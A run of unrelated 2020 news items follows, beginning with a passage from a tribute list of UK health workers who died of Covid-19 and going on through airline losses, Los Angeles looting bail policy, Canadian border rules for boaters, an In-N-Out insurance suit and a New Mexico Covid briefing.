Mr Jamil, 57, died on April 14 after working in a ward caring for the elderly at Watford General Hospital, having joined West Hertfordshire NHS Trust in March 2006.

His daughter Sumaiyah Jamil, 22, told the Watford Observer her father was an NHS hero who lost his life to coronavirus but whose memories they will cherish forever.

 Khulisani (Khuli) Nkala, mental health nurse

Mr Nkala, 46, a well-respected and selfless professional nurse, who always put the patient first had been working as a charge nurse in the forensic services at Leeds and York Partnership NHS Foundation Trust before he died on April 17, after testing positive for Covid-19.

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 Krishan Arora, GP

Dr Krishan Arora was a senior partner at Violet Lane Medical Practice, and had been a GP in Croydon, south London, for 27 years. The 57-year-old died on April 15 after testing positive for the virus.

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 Leilani Dayrit, nurse

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Whatsapp Leilani Dayrit was a nurse at St Cross Hospital in Rugby (Handout/PA)

Described as a ray of sunshine, Ms Dayrit, a Filipino nurse who worked at St Cross Hospital in Rugby, died on April 7.

 Leilani Medel, nurse

Mrs Medel, who worked as an agency nurse in South Wales, was described as a wonderful and caring person. Her employer, Cardiff-based Hoop Recruitment, said: The nursing profession has lost a warm-natured and beautiful nurse who cared for so many vulnerable people during her nursing career.

 Lillian Mudzivare, senior mental health nurse

Lillian Mudzivare, 41, who worked as a senior mental health nurse, died following a long battle with coronavirus, the Birmingham Womens and Childrens NHS Foundation Trust said.

Expand Close Lillian Mudzivare, a senior mental health nurse (Birmingham Womens and Childrens NHS Foundation Trust/PA) PA / Facebook

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Whatsapp Lillian Mudzivare, a senior mental health nurse (Birmingham Womens and Childrens NHS Foundation Trust/PA)

 Linnette Cruz, dental nurse

The 51-year-old senior head nurse at the Brynteg dental practice in Sketty died on April 14 having been admitted with Covid-19 in March, according to NHS Wales.

Brynteg practice owner Nik Patel said: She brought love, light and joy to everyone around her and will be sadly missed by all.

Expand Close Linnette Cruz, 51, who passed away on April 14 (NHS Wales) / Facebook

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Whatsapp Linnette Cruz, 51, who passed away on April 14 (NHS Wales)

 Ibilola Aladejana, hospital receptionist

Known as Lola, the much-loved Mrs Aladejana was an agency worker who had been at University College Hospital for four years, most recently as a receptionist.

The mother-of-three died on April 4 due to complications of Covid-19, according to a GoFundMe page set up by her husband Ayodele Aladejana.

 Lourdes Campbell, healthcare assistant

Known as Des to her colleagues, the healthcare assistant was remembered as diligent and compassionate by the Bolton NHS Foundation Trust.

In a statement on April 16, chief executive of the trust Fiona Noden said Ms Campbell died in the critical care unit at Royal Bolton Hospital after contracting the virus.

 Mahadaye Jagroop, nurse

Also known as Mary, Ms Jagroop worked at Heartlands Hospital in Birmingham, where she died after contracting Covid-19 on April 22.

Mary was a respected and loved member of our team and touched the lives of many in her distinguished career as a nurse, said Lisa Stalley-Green, chief nurse at University Hospitals Birmingham NHS Foundation Trust.

 Mamoona Rana, trainee registrar in psychiatry

The North East London Foundation Trust (NELFT) confirmed the death of Dr Rana, describing her as a highly valued and respected colleague.

She was 49.

 Manjeet Singh Riyat, emergency consultant

Mr Riyat, the first Sikh to work as an A&E consultant in the UK, died on April 20. He was known by his colleagues at the Royal Derby Hospital as the father of the emergency department.

Expand Close Manjeet Riyat (University Hospitals of Derby and Burton NHS Trust/PA) PA / Facebook

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Whatsapp Manjeet Riyat (University Hospitals of Derby and Burton NHS Trust/PA)

 Mary Agyeiwaa Agyapong, nurse

Mary Agyeiwaa Agyapong died on April 12 after testing positive for Covid-19 earlier in the month.

David Carter, chief executive at Bedfordshire Hospitals NHS Foundation Trust, said: Mary worked here for five years and was a highly valued and loved member of our team, a fantastic nurse and a great example of what we stand for in this trust.

Expand Close Mary Agyeiwaa Agyapong was pregnant when she died from Covid-19 (GoFundMe/PA) PA / Facebook

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Whatsapp Mary Agyeiwaa Agyapong was pregnant when she died from Covid-19 (GoFundMe/PA)

 Maureen Ellington, healthcare assistant

Grandmother Mrs Ellington, who was in her early 60s would light up any room she entered, worked at Southmead Hospital in Bristol and died on April 12, having worked for the NHS for more than 25 years

It is with great sadness that we have to announce that Maureen Ellington, a much-loved Healthcare Assistant at Southmead Hospital, has passed away. Our thoughts are with her family and friends at this difficult time. https://t.co/YOd7UrguKa pic.twitter.com/eR9DtN987N  North Bristol NHS (@NorthBristolNHS) April 14, 2020

 Medhat Atalla, consultant

The hugely popular and respected Dr Atalla died following treatment for coronavirus at Doncaster Royal Infirmary (DRI), where he worked as a consultant geriatrician, the hospital said.

He moved to Britain from Egypt about 20 years ago and his colleagues said he cared for elderly people on three continents, including across the north of England.

Expand Close Dr Medhat Atalla died following treatment for Covid-19 at Doncaster Royal Infirmary (Doncaster and Bassetlaw Teaching Hospitals/PA) PA / Facebook

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Whatsapp Dr Medhat Atalla died following treatment for Covid-19 at Doncaster Royal Infirmary (Doncaster and Bassetlaw Teaching Hospitals/PA)

 Melujean Ballesteros, nurse

The dedicated and very caring Filipino nurse, 60, died at St Marys Hospital in Paddington, London, on April 12, just two days after being admitted.

 Michael Allieu, staff nurse

Homerton University Hospital NHS Trust confirmed that staff nurse Michael Allieu died on April 18 at Homerton Hospital.

 Miharajiya Mohideen, adult care nurse

She had been working at Newham General Hospital for several years before contracting Covid-19. She spent 13 days in King George Hospital before her death.

Her son Javed wrote on a JustGiving page set up in her memory: I am hoping to raise 10,000 for a water well to be built either in Sierra Leone or Malawi, where this will act as an ongoing charity for her.

 Professor Mohamed Sami Shousha, researcher

The 79-year-old, who had worked at UK cancer research laboratories at Londons Hammersmith and Charing Cross hospitals since 1978, died on April 2.

His nephew, Abdelrahman Shousha, said his uncle returned to work to help fight the virus despite his age, adding: My uncle was characterised by his humbleness, virtue and his adamancy to help and serve, whether it be his family, friends, his colleagues or his students.

 Momudou Dibba, hospital housekeeper

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Whatsapp Momudou Mo Dibba (West Hertfordshire NHS Trust/PA)

Momudou  or Mo  Dibba worked on Watford General Hospitals Letchmore and Lengley wards. He died on April 29.

He would go above and beyond for everyone, organising staff leaving parties and supporting everyone in their roles. He will be sorely missed, West Hertfordshire NHS Trust said.

 Nasir Khan

Married well-recognised and popular father-of-three Dr Nasir Khan would look for the slightest of excuses to help those in need, according to his son Mahad Ali Khan.

Dr Khan was a locum doctor working at Dewsbury and District Hospital, who died on April 29 after contracting Covid-19.

 Nassar Hussain, radiographer

Mr Hussain worked as a diagnostic services manager at the KIMS Hospital in Maidstone, Kent, after having worked for more than 20 years in the NHS as a radiographer.

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Whatsapp Nassar Hussain with his daughter Farah and son Adam (Family Handout/PA)

 Norman Austria, healthcare assistant

The 61-year-old healthcare assistant from the Philippines was described as a highly valued member of his ward.

The University Hospitals of Derby and Burton said he regularly sang the song You are my sunshine to calm and reassure vulnerable patients.

Mr Austrias widow Shirley said: Norman was a very lovable, caring and responsible person. We were married for 40 years and he was a wonderful husband. He was very proud of his family and loved his children and grandchildren very much.

 Onyenachi Obasi, nurse and health visitor

Onyenachi Obasi, 51, was living in Barking and Dagenham at the time of her death.

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Whatsapp The family Onyenachi Obasi paid tribute to her dedication to nursing. (family handout)

She was described by her family as an example of unconditional love and died on May 6, five weeks after being put on a ventilator.

Her niece, Ijeoma Uzoukwu, told the PA news agency: She loved her job, but that is what caused her to fall ill in the first place.

 Oscar King Jr, hospital porter

Oscar King Jr, a Filipino porter at the John Radcliffe Hospital in Oxford, died on April 11, aged 45. He was said to have worked for the hospital for more than a decade, always doing his job with great enthusiasm and joy.

 Paul Kabasele, eye doctor

Known for his warm, reassuring and generous nature, Mr Kabasele worked for a decade as part of the eye care team at Croydon University Hospital before he died having contracted Covid-19 on April 24.

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Whatsapp Paul Kabasele was an eye doctor (Moorfields Eye Hospital NHS Foundation Trust)

 Peter Tun, associate specialist

The father-of-two worked as an associate specialist in neurorehabilitation at the Royal Berkshire Hospital in Reading for more than 21 years.

The 62-year-old, who died in the intensive care unit at the hospital on April 12, was called a superhero dad by his two sons in a tribute.

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Whatsapp Dr Peter Tun was remembered as a superhero dad by his children (Family handout/PA)

 Philomina Cherian, nurse

Expand Close Philomina Cherian, a nurse at the John Radcliffe Hospital, Oxford, who died due to Covid-19 (Joseph Varkey) / Facebook

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Whatsapp Philomina Cherian, a nurse at the John Radcliffe Hospital, Oxford, who died due to Covid-19 (Joseph Varkey)

Philomina Cherian was a staff nurse and incredibly caring friend and colleague on the Acute Assessment Unit at the John Radcliffe Hospital in Oxford. She died on April 30 due to Covid-19, aged 63.

 Pooja Sharma, pharmacist

Ms Sharma, a pharmacist at Eastbourne District General Hospital, died unexpectedly on March 26, according to a JustGiving page created in her memory.

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 Poornima Nair, GP

Dr Nair was a GP at Station View Medical Centre in Bishop Auckland, County Durham.

Her surgery posted on its website that she was a much loved and valued colleague and friend who had died after a prolonged Covid-19 infection.

 Rajesh Kalraiya, community paediatrician y

The North East London Foundation Trust (NELFT) confirmed the death of Dr Kalraiya describing him as a highly valued and respected colleague.

Dr Kalraiya was 68 and was working as a locum in Romford.

 Ruben Munoz, nursing assistant

Ruben Munoz, a father of two and nursing assistant at Surrey and Sussex NHS Trust for a decade, died on April 17.

Expand Close Ruben Munoz, a father of two and nursing assistant at Surrey and Sussex NHS Trust (SASH), passed away on Friday after contracting coronavirus. / Facebook

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Whatsapp Ruben Munoz, a father of two and nursing assistant at Surrey and Sussex NHS Trust (SASH), passed away on Friday after contracting coronavirus.

 Saad Al-Dubbaisi, GP

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Dr Al-Dubbaisi, a loving and kind GP from Bury who gave everything for the community, died on May 3 aged 59, after several weeks of illness with Covid-19.

Born in Iraq, Dr Al-Dubbaisi worked in the Greater Manchester town for almost 20 years, his daughter told the Bury Times.

 Sadeq Elhowsh, orthopaedic surgeon

The 58-year-old father of four worked for St Helens and Knowsley Teaching Hospitals NHS Trust in Merseyside for 17 years.

His nephew Raeif, 32, said Mr Elhowsh was truly a great friend and an intelligent, kind-hearted, determined, cheerful and highly accomplished man.

Expand Close Sadeq Elhowsh, right, with his nephew Raeif Elhoush (Courtesy of Raeif Elhoush) / Facebook

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Whatsapp Sadeq Elhowsh, right, with his nephew Raeif Elhoush (Courtesy of Raeif Elhoush)

 Safaa Alam, midwife

Safaa Alam, 30, started her professional career as a nurse before training as a midwife at Birmingham Womens Hospital, where she was described as a true role model known for her kindness and compassion.

 Tariq Shafi, doctor

Dr Tariq Shafi was the greatly respected lead consultant for haematology for 13 years at Darent Valley Hospital in Dartford. His death was announced on May 7.

Tariq built an amazing team of dedicated clinicians and support workers, placing them and his patients at the heart of everything he did, his trust said.

 Thaung Htaik, consultant

Dr Htaik, 65, had been working at the Great Western Hospitals NHS Trust since January 2019 and was described as universally well-liked.

Expand Close Dr Thaung Htaik died earlier this week from Covid-19. / Facebook

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Whatsapp Dr Thaung Htaik died earlier this week from Covid-19.

He died after testing positive for the virus and leaves behind a wife, four children and three grandchildren.

In a statement, his family said: He always put others first and we know just how committed he was to looking after his patients both at this difficult time and throughout his career.

 Thomas Harvey, nurse

The healthcare assistant, a father-of-seven who worked at Goodmayes Hospital in Ilford, east London, died at home on March 29, aged 57.

Expand Close Thomas Harveys family said the Government had questions to answer over the lack of PPE for NHS staff (Handout/PA) PA / Facebook

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Whatsapp Thomas Harveys family said the Government had questions to answer over the lack of PPE for NHS staff (Handout/PA)

 Vishna Rasiah, consultant neonatologist

Dr Vishna Rasiah, who worked as a clinical lead at Birmingham Womens and Childrens NHS Foundation Trust, died after contracting coronavirus, the trust announced on April 24.

His wife Liza said: He treated every patient and family he cared for as his own. I couldnt have been prouder of him.

Expand Close Consultant neonatologist Dr Vishna Rasiah (Birmingham Women and Childrens NHS Foundation Trust) PA / Facebook

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Whatsapp Consultant neonatologist Dr Vishna Rasiah (Birmingham Women and Childrens NHS Foundation Trust)

 Vivek Sharma, occupational therapist

The 58-year-old father-of-two died on April 17 after isolating since the end of March.

Described as a gentle soul who was kind and generous, he had been isolating from around the end of March as a vulnerable member of staff due to underlying health conditions, and became ill with coronavirus.

Expand Close Vivek Sharma died on April 17 after contracting the virus (PA) PA / Facebook

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Whatsapp Vivek Sharma died on April 17 after contracting the virus (PA)

 Yusuf Patel, GP and surgery founder

Father-of-three Dr Yusuf Patel, 61, founded Woodgrange Medical Practice in Newham, east London, where he worked as GP for over two decades before he died with coronavirus symptoms on April 20.

Dr Patels colleagues there have remembered him as a simple, humble and honest man who was the life and soul of any party.

Expand Close (Newham Healthcare Collaborative) PA / Facebook

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Whatsapp (Newham Healthcare Collaborative)

 Syed Zishan Haider, GP

The 79-year-old family doctor, known as Zishan by colleagues at Barking and Dagenham CCG  where he worked for more than three decades, died in hospital on April 6 after testing positive for coronavirus.

The CCG chair Dr Jagan John said: Dr Haider was a selfless man who loved his patients, and this is a tragic loss to our GP community.

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Whatsapp Dr Syed Zishan Haider (family handout)

The alphabetical list contains people who were working in roles shortly before their deaths where they were likely to come into contact with patients.

Care home workers were not included as not enough reliable data was available.
The U.S. Airline industry has been facing a major crisis for more than two months now, which continues to deepen due to the prolonged impact of the coronavirus pandemic. Notably, the airline industry is the worst-hit as it had to deal with travel bans in the wake of lockdown measures implemented to curb the spread of the virus. This resulted in a dismal first-quarter performance for most of U.S.-based airline companies.



A Dismal Q1



Major U.S. airline companies saw staggering losses during the first quarter hit by the pandemic. American Airlines AAL reported a loss of $2.24 billion for the first quarter, its steepest loss since 2008. Delta Airlines DAL slipped into loss for the first time in five years of $534 million during the first quarter, down from a profit of $730 million reported a year ago.



Joining these names, United Airlines UAL witnessed massive first-quarter losses of $1.7 billion while Alaska Air Group ALK and Hawaiian Holdings HA also reported losses in first-quarter 2020 results.



Consequently, shares of the afore-mentioned airline stocks plunged significantly during the first quarter.





Rising Layoffs



Per a report by CNN Business, American Airlines and Delta Air Lines recently decided to furlough workforces through voluntary exit programs, buyout packages and layoffs, thanks to plummeting demand for air travel. American Airlines announced the need to eliminate about 30% of its management and support staff because of its shift to operate through a smaller structure. Meanwhile, Delta Airlines and United Airlines also chose to cut down employee count.



Evidently, management at these airlines was compelled to take such drastic decisions to avoid bankruptcy.



Financial Aid



Amid the economic turmoil, the U.S. airline industry received a stimulus in April, when the Trump administration reached an agreement with airline companies for providing $25 billion in form of federal aid. Per the terms of the agreement, major U.S. airlines will receive 70% of the funds for payroll in cash assistance, which they wont have to pay back. Other airline companies receiving $100 million or less wont be required to pay back any amount either.



What Lies Ahead?



In April, the International Air Transport Association (IATA) estimated global airline passenger revenue decline of approximately $314 billion during 2020, suggesting a 55% fall from 2019.



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National Guard troops on Hollywood Boulevard in Los Angeles, California, to quell civil unrest and prevent looting of businesses.

Charles Davis

Los Angeles County District Attorney Jackie Lacey said this week that she will be setting bail for defendants accused of looting.

In April, California's Judicial Council said most non-violent crimes should come with $0 bail in order to reduce jail populations during the coronavirus pandemic.

The council provided an exception for "looting," however, it's ultimately up to prosecutors to decide how to charge people and whether or not to require bail for non-violent offenses.

Former San Francisco District Attorney George Gascon, who is challenging Lacey in November, said he supports accountability for crimes committed but that pre-trial detention for theft poses a public health risk during a pandemic.

Visit Business Insider's homepage for more stories.

People accused of looting who are arrested in the nation's most populous county will be treated like violent criminals and denied the benefits of a zero-cost bail policy meant to limit the spread of the coronavirus.

"Looting is different," Los Angeles County District Attorney Jackie Lacey said Tuesday, explaining that in case of theft during a state of emergency "bail will be set."

"Those cases are not going to be treated as misdemeanors," Lacey told public radio station KPCC. Lacey, who is up for reelection this November, is a regular target of Black Lives Matter protests, and her husband pulled a gun on one demonstration outside her home.

"Those cases will be evaluated for felony filings," she said, adding that there could be exceptions, such as for people who "steal food because they're hungry."

In April, the Judicial Council, a statewide body that establishes guidelines for California's justice system, adopted an emergency rule, setting bail at $0 for misdemeanors and low-level felonies, a policy intended to reduce jail populations amidst the threat of COVID-19.

But it left an exemption for "looting," which in a time of civil unrest  or public health emergency  can be construed as any act of theft. This change in definition would deny those accused of the crime from getting out of jail at no cost. Those who cannot afford to get out, then, could be confined in a cell until their trial.

Story continues

Even before the latest unrest, which has seen looting in cities across the country, some prosecutors were using that exemption as a loophole.

Two people are arrested at a protest in Los Angeles on Monday, June 1, 2020, over the death of George Floyd on May 25 in Minneapolis.

AP Photo/Christian Monterrosa

Upcharging during the coronavirus

Birgit Fladager, district attorney for Stanislaus County in Central California, announced in a press release that anyone who burglarized a store "could be charged with looting," allowing bail to be set and the accused to be further detained, HuffPost reported in mid-May.

In Los Angeles, the approach was more discrete.

In an April 14 email obtained by HuffPost, Deputy District Attorney Michael Fern noted that theft involving property worth more than $950 could be treated as felony looting, whether or not it's connected to a crisis. He added, "though we would probably want to be able to articulate some connection, such as how the theft was aided by decreased vigilance due to depleted law enforcement resources, business closures, or sheltering-in-place."

Greg Risling, a spokesman for the LA district attorney, told Business Insider he could not say how many people Lacey's office has charged with looting.

But Los Angeles Police Chief Michel Moore said Tuesday that about 200 people had been arrested for looting or vandalism; more than 3,000 people have been arrested in the city of Los Angeles. Across Los Angeles County, another 61 people were arrested for looting Wednesday night.



"Looting is an offense that does not qualify for zero bail pursuant to the Judicial Council's order," Risling said. He added that the district attorney will "fairly evaluate every case on its merits and file all appropriate charges supported by the facts."

The Judicial Council could amend its guidance, spokesperson Merrill Balassone told Business Insider, noting that the current "statewide emergency bail schedule sets presumptive bail at $0 for those accused of misdemeanors and non-violent felonies to safely reduce jail populations during a public health crisis."

But there has not been a move to amend it, and regardless of the council's decision, a local prosecutor concerned about a pandemic could pursue alternatives to extended pre-trial detention.

In this Jan. 29, 2020, file photo, Los Angeles County District Attorney Jackie Lacey, left, and former San Francisco District Attorney George Gascon, right, participate at the L.A. District Attorney candidates debate in Los Angeles.

AP Photo/Damian Dovarganes

'Why the hell not just have a computer charge everybody?'

Lacey's electoral challenger in the fall, former San Francisco District Attorney George Gascon, agrees that each case must be evaluated on its merits  some "loot" because the opportunity presents itself, while for others it's a business. For the latter, though, bail will never be a problem, he says; it is the indigent defendant who will have trouble posting $50,000.

"You cannot place an entire community at risk of contracting a deadly virus because somebody was looting," Gascon told Business Insider. He accused Lacey of catering to the demagoguery of "law and order" without consideration for the effectiveness, as a deterrent, and the impact on public health. And he maintained that she has a considerable degree of choice in the matter.

Lacey could, for example, defer prosecutions, so that people need not wait behind bars where they might contract  or spread  the coronavirus. And it is ultimately her office's call on what the charges will be, and whether or not to extend a zero-bail policy during the pandemic.

"My point is not giving people a pass," he said. "The point is that as human beings, as thinking, logical people  and especially people that are placed in these very high levels of responsibility where you can use so much discretion  you have to be thoughtful and humane about the way you apply the policy and the way that you apply discretion. Otherwise: Why the hell not just have a computer charge everybody?"

One group that Lacey, the first woman and first African-American to serve as LA district attorney, hasn't charged often: the police, even when their own boss recommends prosecution.

In 2016, former Los Angeles Police Chief Charlie Beck publicly requested legal consequences for an officer, Clifford Proctor, who killed 29-year-old Brendon Glenn, an unarmed homeless man, during a stop in Venice. The Board of Police Commissioners, a historically conservative body said the killing was unjustified, with Proctor's own partner unable to explain why shots were fired.

Two years later, the county's top prosecutor announced she was declining to press charges based on the same reasoning rejected by others: that "Proctor may have reasonably believed that Glenn was reaching for his partner's gun."

Demonstrators hold up signs during a protest in front of Los Angeles City Hall, Tuesday, June 2, 2020, in Los Angeles over the death of George Floyd. Floyd died in police custody on Memorial Day in Minneapolis.

AP Photo/Mark J. Terrill

'Traditional punitive paradigms'

Nikhil Ramnaney, president of the Los Angeles County Public Defenders' Union, told Business Insider that when it comes to recent arrests, be it for protesting or theft, he's troubled by the lack of transparency from Lacey's office. Courts have been closed or operationally limited amid both the pandemic and the civil unrest, "so we haven't had, as attorneys or public defenders, the opportunity to review the circumstances of the legality or any major issues with discretionary filing," he said. "The DA could easily provide us that information."

He's also troubled by the emails that circulated in April, showing Lacey's staff weighing the option of increasing charges, from misdemeanor theft to felony looting, to justify detention without trial.

"I think we have to realize the conditions in jail and how unprecedented they are," Ramnaney said. "We have close to a 20% infection rate. We have 6,000 people in quarantine. We had our first death in custody. And just this last week we had our first public defender death."

At Men's Central Jail in downtown Los Angeles, nearly 60% of asymptomatic inmates in one dorm tested positive for COVID-19, the Los Angeles Times reported.

"Electronic monitoring, community support  there's plenty of other ways to ensure [justice] rather than putting people unnecessarily in jail, and it doesn't seem like we're interested in pursuing those solutions or thinking outside of our traditional punitive paradigms," he said.

Ramnaney also maintained that Lacey, due to the lack of police prosecutions under her watch, has helped instigate the current unrest.

"Jackie Lacey has contributed to this culture of unaccountability," he argued. "She had a responsibility to swiftly investigate and appropriately bring charges against individuals [in law enforcement] who have committed crimes, and she failed to do so. And I think people are tired of waiting  and they're tired of the traditional, democratic expressions like voting."

On Wednesday, thousands of Angelenos marched to the district attorney's office in downtown LA. "Jackie Lacey must go," they chanted.

Have a news tip? Email this reporter: cdavis@insider.com.

Read the original article on Insider
OTTAWA, ON, June 5, 2020 /PRNewswire/ - The Canada Border Services Agency (CBSA) reminds all boaters that crossing the border for recreation or tourism is currently prohibited.

The Government of Canada has introduced border measures to limit the spread of Coronavirus disease (COVID-19) in Canada, including the restriction of all discretionary travel into Canada.

With the onset of warmer weather, boat and pleasure craft owners may be inclined to take their boats across the border on inland or coastal waterways, or to come to their cottages in Canada. These activities are considered discretionary (non-essential) travel according to temporary travel restrictions currently in place, and are, therefore, prohibited. Boaters are still permitted to navigate across international waters if needed, but are not allowed to enter Canadian territorial or boundary waters for discretionary, leisure (non-essential) reasons, including entry for touring, sightseeing and pleasure fishing.

Boaters who enter Canada without reporting to the CBSA (including for the purpose of refuelling) may face severe penalties, including monetary penalties, seizure of their vessels and/or criminal charges. The minimum fine for failing to report to the CBSA upon entry to Canada is $1,000. Furthermore, non-compliance by foreign nationals may affect their immigration admissibility and ability to re-enter Canada in the future.

In addition, failure to comply with the current border entry restrictions is an offence under the Quarantine Act and could lead to up to 6 months in prison and/or $750,000 in fines. Further, a person who causes a risk of imminent death or serious bodily harm to another person while wilfully or recklessly contravening this act or the regulations could be liable for a fine of up to $1,000,000 or imprisonment of up to 3 years or both.

The CBSA and its law enforcement partners are actively monitoring Canadian waterways and will address any identified discretionary cross-border activities.

The CBSA remains committed to ensuring that Indigenous people continue to be able to move within and between their communities, and are able to provide and access essential goods and services.

Quick Facts

Since March 21 at 12:01 a.m. EDT , there has been a temporary prohibition on all discretionary or optional travel at the Canada -U.S. border. This restriction has been extended until June 21, 2020 .

at , there has been a temporary prohibition on all discretionary or optional travel at the -U.S. border. This restriction has been extended until . On May 12 , the CBSA announced the temporary suspension of service at certain small vessel reporting sites. Although these small vessel reporting sites are closed, boaters who enter Canada are reminded that they are still responsible for reporting to the CBSA.

, the CBSA announced the temporary suspension of service at certain small vessel reporting sites. Although these small vessel reporting sites are closed, boaters who enter are reminded that they are still responsible for reporting to the CBSA. Canadian citizens, permanent residents and Registered Indians under the Indian Act continue to enter Canada by right, and are subject to COVID-19 entry screening measures.

continue to enter by right, and are subject to COVID-19 entry screening measures. A travel ban is currently in place for most people entering Canada . For more: https://www.canada.ca/en/public-health/services/diseases/2019-novel-coronavirus-infection/latest-travel-health-advice.html#_Canada-U.S._border_restrictions_1.

. For more: https://www.canada.ca/en/public-health/services/diseases/2019-novel-coronavirus-infection/latest-travel-health-advice.html#_Canada-U.S._border_restrictions_1. All persons entering Canadano matter their country of origin or mode of entryMUST isolate or quarantine themselves for 14 days. For more: https://www.canada.ca/en/public-health/services/diseases/2019-novel-coronavirus-infection/latest-travel-health-advice.html

For information on crossing the border, the CBSA has an information line in place: 1-800-461-9999.

Associated Links

Follow us on Twitter ( @CanBorder ), join us on Facebook or visit our YouTube channel .

SOURCE Canada Border Services Agency

Related Links

http://www.cbsa-asfc.gc.ca/


For more coverage, visit our complete coronavirus section here.

Fast-food chain In-N-Out is suing its insurer for breach of contract after its COVID-19 claims were denied.

In a lawsuit filed May 29, In-N-Out said Zurich American Insurance Co. would not cover its business interruption claim despite its "all-risk" business interruption insurance policy. Although the policy "expressly includes coverage for many types of contamination, including radiation, ammonia, virus, pathogen or pathogenic organism, and disease-causing illness or agent," the lawsuit stated, In-N-Out was still denied coverage.

In-N-Out filed its initial claim with Zurich on April 20, but was apparently told by a Zurich employee a week later that it was his belief that the company would not cover the loss. By May 14, Zurich CFO George Quinn instead stated that 99% of its contracts uses standard language which "typically includes a virus exclusion," according to an article in Insurance Journal cited by the filing.

In-N-Out's claim was then formally rejected May 29.

In-N-Out said its purchased policy "provides coverage for 'all risks of direct physical loss of or damage from any cause unless excluded'" and that there "contains no exclusion for viruses or infectious diseases," the lawsuit stated.

In-N-Out did not state the amount lost by its shutdown of dining areas  the restaurant has remained open for drive-through only in areas where shelter-in-place orders were enacted  but its policy is capped at $250 million and the lawsuit asked that Zurich pay damages up to its policy limit, lawsuit cost and interest accrued on the amounts owed under the policy.

The group joins other restaurant owners suing their insurance companies over denied COVID-19 claims. Chef Thomas Keller, for instance, filed a lawsuit against his restaurants' insurer, Hartford Fire Insurance Co., and banded together with other restaurateurs to form the Business Interruption Group, a coalition of business owners who "insist insurers pay owed business losses caused by the coronavirus," its website stated.

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Dianne de Guzman is a Digital Editor at SFGATE. Email: dianne.deguzman@sfgate.com
EMILIANO LASALVIA, Contributor / AFP via Getty Images

Pollution from burning excess natural gas at Permian Basin wells is expected to reach a record low this year as lower oil prices have halted most production in the West Texas shale play.

The carbon dioxide intensity of oil production in the Permian is expected to fall to 8.6 pounds of emissions per barrel by November, according to Norwegian energy research firm Rystad Energy.
Realize that these protests are inherently futile without changes in legislation and changes in our leaders. Just as with all the riots in the past, all will be forgotten in a few weeks. The hashtags will continue in perpetuity without government intervention. Think George Floyd, Ahmaud Arbery, Breonna Taylor, Tamir Rice, Michael Brown and Eric Garner. This list does not end. These people should not have died in vain. The list goes on and on and yet we will forget all of their names in a few years. We need to get involved in politics at every level to protest. This is much harder than running into the street. It requires sustained effort to meet legislators, to campaign and vote the right people into place.
New Delhi: On the World Environment Day, Indian poet/diplomat Abhay K has been invited by the Indira Gandhi National Centre for Arts to deliver a lecture on `Protecting Environment through Poetry`.

An anthem for planet Earth, or Earth Anthem, penned by Abhay was recently used by the United Nations while celebrating the fiftieth anniversary of Earth Day, for teaching Global Citizenship. The music for Earth Anthem has been composed by Dr L. Subramaniam and it has been sung by Kavita Krishamurthy.

Earth Anthem, which was launched on the occasion of the World Environment Day in 2013, has already been translated into over fifty languages and is used widely to celebrate the World Environment Day and Earth Day.

On the World Environment Day, the poem has been translated into Quechua, a language spoken in the Peruvian Andes by the indigenous people of Peru. It is also spoken in parts of Colombia, Chile and Argentina.

Abhay K. served as Deputy Ambassador in Brazil from 2016-2019 during which he visited Peru and other Latin American countries. His poem written during this period is all set to come out this month titled - The Alphabets of Latin America: A Carnival of Poems.

His forthcoming poetry collection "The Magic of Madagascar" celebrates the unique biodiversity of Madagascar, which is also known as the eighth continent because of its unique flora and fauna.

The theme for the World Environment Day 2020 is `Celebrate Biodiversity` and is being hosted by Colombia in partnership with Germany.
Copyright  2020 Albuquerque Journal

SANTA FE  One of New Mexicos top health officials said Friday that combating the spread of COVID-19 by allowing herd immunity to build in the general population has not proven to be a successful strategy to date in places its been implemented.

During an online news briefing with reporters on Friday, state Human Services Secretary David Scrase said New Mexicos more restrictive approach has slowed the spread of the disease and should allow schools to be reopened in the fall, though state education officials are still studying different scenarios.

I think my view is that we should be planning on reopening schools, he said, while adding that teachers should still be getting more training on distance education over the summer months.

However, Scrase said new cases of the coronavirus will continue popping up at least until theres a vaccine.

He also said New Mexico officials would likely consider reimposing business restrictions in certain parts  or all  of the state if the COVID-19 transmission rate were to increase without a simple explanation or fix.

Scrases remarks came shortly before the state announced an additional 331 confirmed cases of the disease caused by the virus in New Mexico  the highest daily figure since the outbreak started in mid-March.

A total of 129 of the new confirmed cases came from the Otero County Detention Center in Chaparral, where state and federal inmates are held separately and a rapidly-spreading outbreak has infected nearly 500 inmates in all.

There have been 219 confirmed cases among the 543 state inmates currently housed at the facility  meaning roughly 40% have tested positive.

In addition, two inmates held at the prison have now died due to COVID-19, as a male inmate in his 60s with underlying health conditions was one of four New Mexico deaths announced Friday by state Department of Health officials.

The other three individuals who died were also men in their 60s or older who lived in Bernalillo, McKinley and San Juan counties, respectively. The four deaths brought New Mexicos coronavirus fatality tally to 387.

Morgen Jaco, the director of recidivism reduction for the state Corrections Department, told the Journal on Friday that seven inmates are currently hospitalized with COVID-19 symptoms.

Swedens approach

While most countries have enacted varying degrees of lockdowns, Scrase on Friday cited the experience of Sweden, which largely kept its economy open in response to the pandemic and ended up seeing higher infection and mortality rates than its neighboring countries.

This idea that we just let the virus run wild and well be all set did not pan out in Stockholm, he said, referring to Swedens capital city.

Herd immunity refers to slowing the spread of disease by having a significant majority of the population become immune to it, either from a vaccine or something else.

Gov. Michelle Lujan Grishams administration took an opposite response to the coronavirus outbreak, ordering the closure of businesses deemed to be nonessential and closing schools shortly after the states first confirmed cases were reported.

While the states heavily Native American northwest region has been hit hard by COVID-19, two New Mexico counties  Mora and DeBaca  have still not recorded any confirmed coronavirus cases, and several other counties have only a small number of cases.

Protests fuel cases

Echoing remarks made earlier this week by Lujan Grisham, Scrase said its likely that coronavirus cases will increase due to widespread protests of race-related issues that have taken place in Albuquerque, Santa Fe, Las Cruces and other cities around the state.

I think there will be more cases, and Im just not sure how many, Scrase said.

He also said the number New Mexicans who have recovered after testing positive for COVID-19 is likely higher than the 3,206 figure reported Friday by the state, in part due to the fact that some of those who recover do not report their improved health status.

With New Mexicos overall infection rate now dropping and its testing capacity having increased to nearly 5,000 tests per day, the administration has over the last month started taking gradual steps toward reopening the states economy.

However, the pandemic and the states response to it have taken a toll, as the states unemployment rate hit 11.3% in April  up from 5% a year earlier.

In addition, state revenues are expected to plummet in the coming year due to the double whammy of the coronavirus pandemic and falling oil prices.
Boris Johnson has been criticised by his own backbenchers for green-lighting a law allowing no-fault divorces from as early as next month.

The Prime Minister may face a rebellion from swathes of his own MPs during the House of Commons vote on Monday, and has been accused of rushing through the plans in lockdown, when many marriages are under increased stress.

